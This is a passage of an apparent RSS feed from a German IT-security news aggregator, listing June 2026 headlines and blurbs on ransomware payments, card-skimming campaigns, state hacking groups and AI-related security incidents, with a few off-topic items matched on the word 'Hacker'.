<guid isPermaLink="true">https://tsecurity.de/de/3577924/IT+Sicherheit/Hacker/Chinesische+Hacker-Gruppe+TA4922+steigert+Angriffstempo+auf+Deutschland+-+it-daily.net/</guid>
<pubDate>Sat, 06 Jun 2026 13:25:58 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Magecart-Kampagne: Hacker stehlen Kartendaten über Stripe und GTM - BornCity]]></title> 
<description><![CDATA[Hacker kapern Checkout-Seiten via Stripe-API und Google Tag Manager. Neue Betrugswelle trifft Magento-Shops und Kunden. ]]></description>
<link>https://tsecurity.de/de/3577923/IT+Sicherheit/Hacker/Magecart-Kampagne%3A+Hacker+stehlen+Kartendaten+%C3%BCber+Stripe+und+GTM+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577923/IT+Sicherheit/Hacker/Magecart-Kampagne%3A+Hacker+stehlen+Kartendaten+%C3%BCber+Stripe+und+GTM+-+BornCity/</guid>
<pubDate>Sat, 06 Jun 2026 14:46:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Lösegeld an Hacker gezahlt – «bestes Signal an Kriminelle» - MSN]]></title> 
<description><![CDATA[L&ouml;segeld an Hacker gezahlt &ndash; &laquo;bestes Signal an Kriminelle&raquo; ... Vor 50 Min. ... Die Hackergruppe Akira stahl im vergangenen Herbst grosse Datenmengen von&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577922/IT+Sicherheit/Hacker/L%C3%B6segeld+an+Hacker+gezahlt+%E2%80%93+%C2%ABbestes+Signal+an+Kriminelle%C2%BB+-+MSN/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577922/IT+Sicherheit/Hacker/L%C3%B6segeld+an+Hacker+gezahlt+%E2%80%93+%C2%ABbestes+Signal+an+Kriminelle%C2%BB+-+MSN/</guid>
<pubDate>Sat, 06 Jun 2026 15:44:19 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Trotz Warnung: Bundeskonzern Ruag zahlt Lösegeld an Hackergruppe - News - SRF]]></title> 
<description><![CDATA[Der Bund r&auml;t dringend davon ab, Hackern L&ouml;segeld zu zahlen. Der R&uuml;stungskonzern Ruag tat es trotzdem. ]]></description>
<link>https://tsecurity.de/de/3577921/IT+Sicherheit/Hacker/Trotz+Warnung%3A+Bundeskonzern+Ruag+zahlt+L%C3%B6segeld+an+Hackergruppe+-+News+-+SRF/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577921/IT+Sicherheit/Hacker/Trotz+Warnung%3A+Bundeskonzern+Ruag+zahlt+L%C3%B6segeld+an+Hackergruppe+-+News+-+SRF/</guid>
<pubDate>Sat, 06 Jun 2026 16:32:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Google warnt: Angreifer geben sich als IT-Techniker aus und betreten Büros | heise online]]></title> 
<description><![CDATA[Haben die Hacker alle Daten, die sie brauchen, senden sie eine Erpressermail an die Firma und drohen mit der Ver&ouml;ffentlichung. Das FBI empfiehlt unter&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577920/IT+Sicherheit/Hacker/Google+warnt%3A+Angreifer+geben+sich+als+IT-Techniker+aus+und+betreten+B%C3%BCros+%7C+heise+online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577920/IT+Sicherheit/Hacker/Google+warnt%3A+Angreifer+geben+sich+als+IT-Techniker+aus+und+betreten+B%C3%BCros+%7C+heise+online/</guid>
<pubDate>Sat, 06 Jun 2026 16:52:08 +0200</pubDate>
</item>
<item> 
<title><![CDATA[AI-Powered Penetration Testing with Metasploit]]></title> 
<description><![CDATA[Overview This article documents an end-to-end agentic penetration test. Claude Desktop, connected to the Metasploit Framework through the Model Context Protocol (MCP), turns plain-English tasks
The post AI-Powered Penetration Testing with Metasploit appeared first on Hacking Articles. ]]></description>
<link>https://tsecurity.de/de/3577611/IT+Sicherheit/Hacker/AI-Powered+Penetration+Testing+with+Metasploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577611/IT+Sicherheit/Hacker/AI-Powered+Penetration+Testing+with+Metasploit/</guid>
<pubDate>Sat, 06 Jun 2026 13:26:53 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Dashlane-Angriff: Hacker knackten 2FA-Codes per Brute-Force - Ad-hoc-news.de]]></title> 
<description><![CDATA[Hacker erbeuten durch Brute-Force-Angriff auf API verschl&uuml;sselte Tresore von weniger als 20 Dashlane-Nutzern. ]]></description>
<link>https://tsecurity.de/de/3577565/IT+Sicherheit/Hacker/Dashlane-Angriff%3A+Hacker+knackten+2FA-Codes+per+Brute-Force+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577565/IT+Sicherheit/Hacker/Dashlane-Angriff%3A+Hacker+knackten+2FA-Codes+per+Brute-Force+-+Ad-hoc-news.de/</guid>
<pubDate>Sat, 06 Jun 2026 09:25:54 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Dashlane-Attacke: Hacker umgehen 2FA, erbeuten 20 Passwort-Tresore - Ad-hoc-news.de]]></title> 
<description><![CDATA[Hacker umgehen Dashlanes 2FA und stehlen verschl&uuml;sselte Tresore. Die Zero-Knowledge-Architektur verhindert jedoch die Entschl&uuml;sselung der Daten. ]]></description>
<link>https://tsecurity.de/de/3577564/IT+Sicherheit/Hacker/Dashlane-Attacke%3A+Hacker+umgehen+2FA%2C+erbeuten+20+Passwort-Tresore+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577564/IT+Sicherheit/Hacker/Dashlane-Attacke%3A+Hacker+umgehen+2FA%2C+erbeuten+20+Passwort-Tresore+-+Ad-hoc-news.de/</guid>
<pubDate>Sat, 06 Jun 2026 09:27:51 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Elefant, Tiger & Co.: Amarenakirsche auf Eis (1181) - hier anschauen - ARD Mediathek]]></title> 
<description><![CDATA[... Kollegin Martina Hacker. 45 Min. Leipzigs Unterwasserwelt &ndash; Das neue Zoo-Aquarium. Der Osten - Entdecke wo du lebst ∙ MDR. Ab 0UTAD &middot; 89 Min. Best&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577563/IT+Sicherheit/Hacker/Elefant%2C+Tiger+%26amp%3B+Co.%3A+Amarenakirsche+auf+Eis+%281181%29+-+hier+anschauen+-+ARD+Mediathek/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577563/IT+Sicherheit/Hacker/Elefant%2C+Tiger+%26amp%3B+Co.%3A+Amarenakirsche+auf+Eis+%281181%29+-+hier+anschauen+-+ARD+Mediathek/</guid>
<pubDate>Sat, 06 Jun 2026 09:38:07 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Entgegen Bundesempfehlung: Ruag hat nach Hackerangriff Lösegeld an Erpresser bezahlt]]></title> 
<description><![CDATA[Der bundeseigene R&uuml;stungskonzern Ruag hat nach einem Cyberangriff L&ouml;segeld an Hacker bezahlt. 06.06.2026 09:08. ]]></description>
<link>https://tsecurity.de/de/3577562/IT+Sicherheit/Hacker/Entgegen+Bundesempfehlung%3A+Ruag+hat+nach+Hackerangriff+L%C3%B6segeld+an+Erpresser+bezahlt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577562/IT+Sicherheit/Hacker/Entgegen+Bundesempfehlung%3A+Ruag+hat+nach+Hackerangriff+L%C3%B6segeld+an+Erpresser+bezahlt/</guid>
<pubDate>Sat, 06 Jun 2026 10:32:27 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Auftakt zum „Fest der Vereine“: Herzogenaurach feiert das 49. Altstadtfest - NN.de]]></title> 
<description><![CDATA[Herzogenaurach - Drei Tage lang wird in Herzogenaurach gefeiert. Die Vereine locken mit Angeboten auf dem Schlossplatz, dem Marktplatz und in der&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577561/IT+Sicherheit/Hacker/Auftakt+zum+%E2%80%9EFest+der+Vereine%E2%80%9C%3A+Herzogenaurach+feiert+das+49.+Altstadtfest+-+NN.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577561/IT+Sicherheit/Hacker/Auftakt+zum+%E2%80%9EFest+der+Vereine%E2%80%9C%3A+Herzogenaurach+feiert+das+49.+Altstadtfest+-+NN.de/</guid>
<pubDate>Sat, 06 Jun 2026 10:42:59 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Wie viel Geld Hacker von ihren Opfern verlangen - Cash]]></title> 
<description><![CDATA[Der R&uuml;stungskonzern Ruag hat nach einem Cyberangriff auf eine Tochterfirma L&ouml;segeld an Hacker bezahlt. Wie hoch der Betrag war, will. ]]></description>
<link>https://tsecurity.de/de/3577560/IT+Sicherheit/Hacker/Wie+viel+Geld+Hacker+von+ihren+Opfern+verlangen+-+Cash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577560/IT+Sicherheit/Hacker/Wie+viel+Geld+Hacker+von+ihren+Opfern+verlangen+-+Cash/</guid>
<pubDate>Sat, 06 Jun 2026 10:46:30 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Ruag hat nach Hackerangriff Lösegeld an Erpresser bezahlt | Nau.ch]]></title> 
<description><![CDATA[Der Bundeskonzern Ruag hat nach einem Hacker-Angriff im letzten Herbst L&ouml;segeld bezahlt. &middot; &Uuml;blicherweise r&auml;t der Bund dringend davon ab, bei einer&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577559/IT+Sicherheit/Hacker/Ruag+hat+nach+Hackerangriff+L%C3%B6segeld+an+Erpresser+bezahlt+%7C+Nau.ch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577559/IT+Sicherheit/Hacker/Ruag+hat+nach+Hackerangriff+L%C3%B6segeld+an+Erpresser+bezahlt+%7C+Nau.ch/</guid>
<pubDate>Sat, 06 Jun 2026 11:07:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta behebt Sicherheitslücke, nachdem ein KI-Chatbot ausgenutzt wurde, um die Accounts ...]]></title> 
<description><![CDATA[(GLO) - Meta hat soeben best&auml;tigt, dass eine schwerwiegende Sicherheitsl&uuml;cke in seinem KI-gest&uuml;tzten System behoben wurde, nachdem Hacker diese&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577558/IT+Sicherheit/Hacker/Meta+behebt+Sicherheitsl%C3%BCcke%2C+nachdem+ein+KI-Chatbot+ausgenutzt+wurde%2C+um+die+Accounts+.../</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577558/IT+Sicherheit/Hacker/Meta+behebt+Sicherheitsl%C3%BCcke%2C+nachdem+ein+KI-Chatbot+ausgenutzt+wurde%2C+um+die+Accounts+.../</guid>
<pubDate>Sat, 06 Jun 2026 11:08:34 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Chinesische Hacker: UNC5221 blieb 18 Monate unentdeckt - Börse Express]]></title> 
<description><![CDATA[Die Hacker spezialisieren sich auf Netzwerkger&auml;te und Speichersysteme wie Egnyte Storage Sync, pfSense-Firewalls und Synology NAS-Ger&auml;te. Nach dem&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577557/IT+Sicherheit/Hacker/Chinesische+Hacker%3A+UNC5221+blieb+18+Monate+unentdeckt+-+B%C3%B6rse+Express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577557/IT+Sicherheit/Hacker/Chinesische+Hacker%3A+UNC5221+blieb+18+Monate+unentdeckt+-+B%C3%B6rse+Express/</guid>
<pubDate>Sat, 06 Jun 2026 11:08:55 +0200</pubDate>
</item>
<item> 
<title><![CDATA[DoubleClick-Missbrauch: Hacker nutzen Googles Netzwerk für Malware - BornCity]]></title> 
<description><![CDATA[Hacker nutzen vertrauensw&uuml;rdige Werbeinfrastruktur, um Schadsoftware zu verbreiten und Windows-11-Systeme zu infiltrieren. ]]></description>
<link>https://tsecurity.de/de/3577556/IT+Sicherheit/Hacker/DoubleClick-Missbrauch%3A+Hacker+nutzen+Googles+Netzwerk+f%C3%BCr+Malware+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577556/IT+Sicherheit/Hacker/DoubleClick-Missbrauch%3A+Hacker+nutzen+Googles+Netzwerk+f%C3%BCr+Malware+-+BornCity/</guid>
<pubDate>Sat, 06 Jun 2026 12:39:50 +0200</pubDate>
</item>
<item> 
<title><![CDATA[KI-Sicherheit: Meta und OpenAI verlieren Kontrolle über Systeme - BornCity]]></title> 
<description><![CDATA[Darunter: Hacking-Tipps und Anleitungen f&uuml;r Biowaffen. Jedes getestete Modell wies Sicherheitsl&uuml;cken auf. Forschung: Feintuning macht KI-Modelle&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577465/IT+Sicherheit/Hacker/KI-Sicherheit%3A+Meta+und+OpenAI+verlieren+Kontrolle+%C3%BCber+Systeme+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577465/IT+Sicherheit/Hacker/KI-Sicherheit%3A+Meta+und+OpenAI+verlieren+Kontrolle+%C3%BCber+Systeme+-+BornCity/</guid>
<pubDate>Sat, 06 Jun 2026 11:09:39 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Claude Opus Found a Four-Year-Old Hole in Zcash’s Privacy Layer. Nobody Knows If Someone Already Used It.]]></title> 
<description><![CDATA[Claude Opus 4.8 helped uncover a four-year-old critical flaw in Zcash that could have enabled undetectable creation of counterfeit coins. On May 29, the security researcher Taylor Hornby found a critical vulnerability in Zcash Orchard privacy pool using Claude Opus 4.8. The Zcash team hired Hornby specifically to look for this kind of issue. He [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3577324/IT+Sicherheit/Hacker/Claude+Opus+Found+a+Four-Year-Old+Hole+in+Zcash%E2%80%99s+Privacy+Layer.+Nobody+Knows+If+Someone+Already+Used+It./</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577324/IT+Sicherheit/Hacker/Claude+Opus+Found+a+Four-Year-Old+Hole+in+Zcash%E2%80%99s+Privacy+Layer.+Nobody+Knows+If+Someone+Already+Used+It./</guid>
<pubDate>Sat, 06 Jun 2026 09:53:05 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Opinion: How much value is AI really creating? - Golem.de]]></title> 
<description><![CDATA[Eye-opening changes to the speed and volume of work are not always translating into genuine productivity. ]]></description>
<link>https://tsecurity.de/de/3577300/IT+Sicherheit/Hacker/Opinion%3A+How+much+value+is+AI+really+creating%3F+-+Golem.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577300/IT+Sicherheit/Hacker/Opinion%3A+How+much+value+is+AI+really+creating%3F+-+Golem.de/</guid>
<pubDate>Sat, 06 Jun 2026 03:31:42 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Ransomware-Attacke: ShinyHunters erbeuten 3,65 TB von 275 Mio. Nutzern]]></title> 
<description><![CDATA[Zwischen 2013 und 2016 sollen die Hacker mehr als 200 Systeme in 18 L&auml;ndern kompromittiert haben. Rund 400 Konten waren betroffen, &uuml;ber 56.000&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577299/IT+Sicherheit/Hacker/Ransomware-Attacke%3A+ShinyHunters+erbeuten+3%2C65+TB+von+275+Mio.+Nutzern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577299/IT+Sicherheit/Hacker/Ransomware-Attacke%3A+ShinyHunters+erbeuten+3%2C65+TB+von+275+Mio.+Nutzern/</guid>
<pubDate>Sat, 06 Jun 2026 06:44:55 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Ultrahuman: Hacker erbeuteten Wellness-Daten über Malware-gestohlene Logins]]></title> 
<description><![CDATA[Ultrahuman meldet einen Hackerangriff: Malware stahl Mitarbeiter-Logins, Angreifer griffen &uuml;ber ein internes Analytics-System auf Wellness-Daten&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577298/IT+Sicherheit/Hacker/Ultrahuman%3A+Hacker+erbeuteten+Wellness-Daten+%C3%BCber+Malware-gestohlene+Logins/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577298/IT+Sicherheit/Hacker/Ultrahuman%3A+Hacker+erbeuteten+Wellness-Daten+%C3%BCber+Malware-gestohlene+Logins/</guid>
<pubDate>Sat, 06 Jun 2026 06:45:09 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Ruag zahlte Lösegeld an Hacker – und verteidigt den Entscheid - 20 Minuten]]></title> 
<description><![CDATA[Ein Bundesbetrieb hat entgegen den Empfehlungen des Bundesamts f&uuml;r Cybersicherheit L&ouml;segeld an Hacker bezahlt. Die Hackergruppe Akira hatte im Herbst&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577297/IT+Sicherheit/Hacker/Ruag+zahlte+L%C3%B6segeld+an+Hacker+%E2%80%93+und+verteidigt+den+Entscheid+-+20+Minuten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577297/IT+Sicherheit/Hacker/Ruag+zahlte+L%C3%B6segeld+an+Hacker+%E2%80%93+und+verteidigt+den+Entscheid+-+20+Minuten/</guid>
<pubDate>Sat, 06 Jun 2026 07:55:59 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Cyberangriff auf Dortmunder Firma: „Wir wissen nicht, woher das kommt“ - Ruhr Nachrichten]]></title> 
<description><![CDATA[Ein Dortmunder Online-H&auml;ndler k&auml;mpft tagelang mit einem lahmgelegten Shop. Der Schaden bleibt &uuml;berschaubar. Doch die eigentliche Sorge bleibt. ]]></description>
<link>https://tsecurity.de/de/3577296/IT+Sicherheit/Hacker/Cyberangriff+auf+Dortmunder+Firma%3A+%E2%80%9EWir+wissen+nicht%2C+woher+das+kommt%E2%80%9C+-+Ruhr+Nachrichten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577296/IT+Sicherheit/Hacker/Cyberangriff+auf+Dortmunder+Firma%3A+%E2%80%9EWir+wissen+nicht%2C+woher+das+kommt%E2%80%9C+-+Ruhr+Nachrichten/</guid>
<pubDate>Sat, 06 Jun 2026 08:50:36 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Entgegen den Warnungen des Bundes: Ruag bezahlte Lösegeld an Hacker - Watson]]></title> 
<description><![CDATA[Der Bundeskonzern Ruag hat trotz eindinglicher Warnung des Bundes nach einem Hacker-Angriff im vergangenen Herbst L&ouml;segeld bezahlt. ]]></description>
<link>https://tsecurity.de/de/3577134/IT+Sicherheit/Hacker/Entgegen+den+Warnungen+des+Bundes%3A+Ruag+bezahlte+L%C3%B6segeld+an+Hacker+-+Watson/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577134/IT+Sicherheit/Hacker/Entgegen+den+Warnungen+des+Bundes%3A+Ruag+bezahlte+L%C3%B6segeld+an+Hacker+-+Watson/</guid>
<pubDate>Sat, 06 Jun 2026 07:48:30 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Malware-Welle: Hacker nutzen GTA VI und WM 2026 für Massendiebstahl - Ad-hoc-news.de]]></title> 
<description><![CDATA[Hacker nutzen die Vorfreude auf GTA VI und die FIFA-WM 2026 f&uuml;r massiven Betrug. Cybersicherheitsforscher haben eine Reihe gro&szlig; angelegter Malware&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3577087/IT+Sicherheit/Hacker/Malware-Welle%3A+Hacker+nutzen+GTA+VI+und+WM+2026+f%C3%BCr+Massendiebstahl+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577087/IT+Sicherheit/Hacker/Malware-Welle%3A+Hacker+nutzen+GTA+VI+und+WM+2026+f%C3%BCr+Massendiebstahl+-+Ad-hoc-news.de/</guid>
<pubDate>Fri, 05 Jun 2026 16:35:47 +0200</pubDate>
</item>
<item> 
<title><![CDATA[KI treibt Wirtschaftskriminalität: Unternehmen erwarten deutlichen Anstieg - Retail-News.de]]></title> 
<description><![CDATA[Hacker und Programmiercode als Symbol fuer Cyber Crime &middot; KI treibt Wirtschaftskriminalit&auml;t: Unternehmen erwarten deutlichen Anstieg. 6. Juni 2026. ]]></description>
<link>https://tsecurity.de/de/3577086/IT+Sicherheit/Hacker/KI+treibt+Wirtschaftskriminalit%C3%A4t%3A+Unternehmen+erwarten+deutlichen+Anstieg+-+Retail-News.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577086/IT+Sicherheit/Hacker/KI+treibt+Wirtschaftskriminalit%C3%A4t%3A+Unternehmen+erwarten+deutlichen+Anstieg+-+Retail-News.de/</guid>
<pubDate>Sat, 06 Jun 2026 02:40:27 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Cyber-Attacken: Hacker brauchen nur 21 Sekunden für Systemübernahme - BornCity]]></title> 
<description><![CDATA[Gleichzeitig missbrauchen Hacker vermehrt Kommunikationsplattformen wie Microsoft Teams und Google-Dienste, um Schadsoftware zu verbreiten. Die&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576809/IT+Sicherheit/Hacker/Cyber-Attacken%3A+Hacker+brauchen+nur+21+Sekunden+f%C3%BCr+System%C3%BCbernahme+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576809/IT+Sicherheit/Hacker/Cyber-Attacken%3A+Hacker+brauchen+nur+21+Sekunden+f%C3%BCr+System%C3%BCbernahme+-+BornCity/</guid>
<pubDate>Sat, 06 Jun 2026 01:24:02 +0200</pubDate>
</item>
<item> 
<title><![CDATA[KI-Hacking: Automatisierte Schwachstellenanalyse wird zum Enterprise-Risiko - it boltwise]]></title> 
<description><![CDATA[Genau dann wird KI-Hacking gef&auml;hrlich, weil Angriffe nicht nur schneller werden, sondern auch die Angriffsfl&auml;che gr&ouml;&szlig;er ist: technische Altlasten,&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576687/IT+Sicherheit/Hacker/KI-Hacking%3A+Automatisierte+Schwachstellenanalyse+wird+zum+Enterprise-Risiko+-+it+boltwise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576687/IT+Sicherheit/Hacker/KI-Hacking%3A+Automatisierte+Schwachstellenanalyse+wird+zum+Enterprise-Risiko+-+it+boltwise/</guid>
<pubDate>Fri, 05 Jun 2026 22:57:36 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Kelp-DAO-Hacker wäscht nach Arbitrum-Freeze rund 220 Millionen Dollar ab - it boltwise]]></title> 
<description><![CDATA[Nach dem Kelp-DAO-Bridge-Exploit hat der Angreifer laut Arkham Intelligence fast 220 Mio. $ gewaschen. Nur 1,7 Mio. ]]></description>
<link>https://tsecurity.de/de/3576534/IT+Sicherheit/Hacker/Kelp-DAO-Hacker+w%C3%A4scht+nach+Arbitrum-Freeze+rund+220+Millionen+Dollar+ab+-+it+boltwise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576534/IT+Sicherheit/Hacker/Kelp-DAO-Hacker+w%C3%A4scht+nach+Arbitrum-Freeze+rund+220+Millionen+Dollar+ab+-+it+boltwise/</guid>
<pubDate>Fri, 05 Jun 2026 17:10:15 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Per Bluetooth und USB: PC über angeschlossene Soundbar gehackt - Golem.de]]></title> 
<description><![CDATA[Der estnische Sicherheitsforscher Rasmus Moorats, der schon fr&uuml;her durch spannende Hacking-Projekte aufgefallen ist, hat Sicherheitsl&uuml;cken in seiner&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576472/IT+Sicherheit/Hacker/Per+Bluetooth+und+USB%3A+PC+%C3%BCber+angeschlossene+Soundbar+gehackt+-+Golem.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576472/IT+Sicherheit/Hacker/Per+Bluetooth+und+USB%3A+PC+%C3%BCber+angeschlossene+Soundbar+gehackt+-+Golem.de/</guid>
<pubDate>Fri, 05 Jun 2026 21:18:17 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Mann aus Saskatoon sieht sich wegen Krypto-Hacking-Vorwürfen mit Auslieferung an die ...]]></title> 
<description><![CDATA[Ein Mann aus Saskatoon namens Ryan Roach k&ouml;nnte an die Vereinigten Staaten ausgeliefert werden, um sich wegen Hacking-Anklagen im Zusammenhang mit&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576471/IT+Sicherheit/Hacker/Mann+aus+Saskatoon+sieht+sich+wegen+Krypto-Hacking-Vorw%C3%BCrfen+mit+Auslieferung+an+die+.../</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576471/IT+Sicherheit/Hacker/Mann+aus+Saskatoon+sieht+sich+wegen+Krypto-Hacking-Vorw%C3%BCrfen+mit+Auslieferung+an+die+.../</guid>
<pubDate>Fri, 05 Jun 2026 21:52:29 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Google und FBI warnen: Hacker geben sich als falsche IT-Mitarbeiter in Büros aus]]></title> 
<description><![CDATA[Google und das FBI haben vor den neuen Taktiken der Cyberkriminellen-Gruppe Silent Ransom Group gewarnt, die Anwaltskanzleien angreift. Hacker&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576254/IT+Sicherheit/Hacker/Google+und+FBI+warnen%3A+Hacker+geben+sich+als+falsche+IT-Mitarbeiter+in+B%C3%BCros+aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576254/IT+Sicherheit/Hacker/Google+und+FBI+warnen%3A+Hacker+geben+sich+als+falsche+IT-Mitarbeiter+in+B%C3%BCros+aus/</guid>
<pubDate>Fri, 05 Jun 2026 19:21:06 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Letzte Börsentransaktionen von Douglas Hacker | MarketScreener]]></title> 
<description><![CDATA[Douglas Hacker &middot; Latest insider transactions &middot; Estimated holdings &middot; Related news feed &middot; Professional network &middot; Career timeline. ]]></description>
<link>https://tsecurity.de/de/3576141/IT+Sicherheit/Hacker/Letzte+B%C3%B6rsentransaktionen+von+Douglas+Hacker+%7C+MarketScreener/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576141/IT+Sicherheit/Hacker/Letzte+B%C3%B6rsentransaktionen+von+Douglas+Hacker+%7C+MarketScreener/</guid>
<pubDate>Fri, 05 Jun 2026 10:52:42 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta Patch wurde verwendet, um das Konto des ehemaligen US-Präsidenten Obama zu hacken.]]></title> 
<description><![CDATA[Hacker nutzten eine Sicherheitsl&uuml;cke in Metas KI-gest&uuml;tztem Kontosicherheitssystem aus. Foto: The Independent . Eine schwerwiegende&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576140/IT+Sicherheit/Hacker/Meta+Patch+wurde+verwendet%2C+um+das+Konto+des+ehemaligen+US-Pr%C3%A4sidenten+Obama+zu+hacken./</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576140/IT+Sicherheit/Hacker/Meta+Patch+wurde+verwendet%2C+um+das+Konto+des+ehemaligen+US-Pr%C3%A4sidenten+Obama+zu+hacken./</guid>
<pubDate>Fri, 05 Jun 2026 12:11:46 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta-Sicherheitslücke: Hacker nutzen KI-Chatbot für Account-Übernahmen]]></title> 
<description><![CDATA[Hacker nutzen KI-Chatbot-Schwachstelle bei Meta aus. Parallel wachsen Reparaturnetzwerke und der Gebrauchtmarkt f&uuml;r Hardware-Komponenten. ]]></description>
<link>https://tsecurity.de/de/3576139/IT+Sicherheit/Hacker/Meta-Sicherheitsl%C3%BCcke%3A+Hacker+nutzen+KI-Chatbot+f%C3%BCr+Account-%C3%9Cbernahmen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576139/IT+Sicherheit/Hacker/Meta-Sicherheitsl%C3%BCcke%3A+Hacker+nutzen+KI-Chatbot+f%C3%BCr+Account-%C3%9Cbernahmen/</guid>
<pubDate>Fri, 05 Jun 2026 14:35:45 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Ist Open-Source-Software sicher? Pro und Kontra - COMPUTER BILD]]></title> 
<description><![CDATA[Bei Open-Source-Software k&ouml;nnen aber auch Cracker (b&ouml;swillige Hacker; meist nur &quot;Hacker&quot; genannt) Sicherheitsl&uuml;cken im Quellcode finden und diese&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576138/IT+Sicherheit/Hacker/Ist+Open-Source-Software+sicher%3F+Pro+und+Kontra+-+COMPUTER+BILD/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576138/IT+Sicherheit/Hacker/Ist+Open-Source-Software+sicher%3F+Pro+und+Kontra+-+COMPUTER+BILD/</guid>
<pubDate>Fri, 05 Jun 2026 14:57:44 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Krypto-Hacker verlieren an Schlagkraft: DeFi-Schäden brechen massiv ein - FXStreet]]></title> 
<description><![CDATA[Krypto-Hacker verlieren an Schlagkraft: DeFi-Sch&auml;den brechen massiv ein ... Die Verluste durch Angriffe auf dezentrale Finanzanwendungen (DeFi) sind&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576137/IT+Sicherheit/Hacker/Krypto-Hacker+verlieren+an+Schlagkraft%3A+DeFi-Sch%C3%A4den+brechen+massiv+ein+-+FXStreet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576137/IT+Sicherheit/Hacker/Krypto-Hacker+verlieren+an+Schlagkraft%3A+DeFi-Sch%C3%A4den+brechen+massiv+ein+-+FXStreet/</guid>
<pubDate>Fri, 05 Jun 2026 15:42:56 +0200</pubDate>
</item>
<item> 
<title><![CDATA[BRICKSTORM-Malware: Chinesische Hacker bleiben 18 Monate unentdeckt]]></title> 
<description><![CDATA[Staatliche Hacker nutzen BRICKSTORM-Malware f&uuml;r monatelange Spionage auf ungesch&uuml;tzten Linux-Ger&auml;ten in Firmennetzen. ]]></description>
<link>https://tsecurity.de/de/3576136/IT+Sicherheit/Hacker/BRICKSTORM-Malware%3A+Chinesische+Hacker+bleiben+18+Monate+unentdeckt/</link>
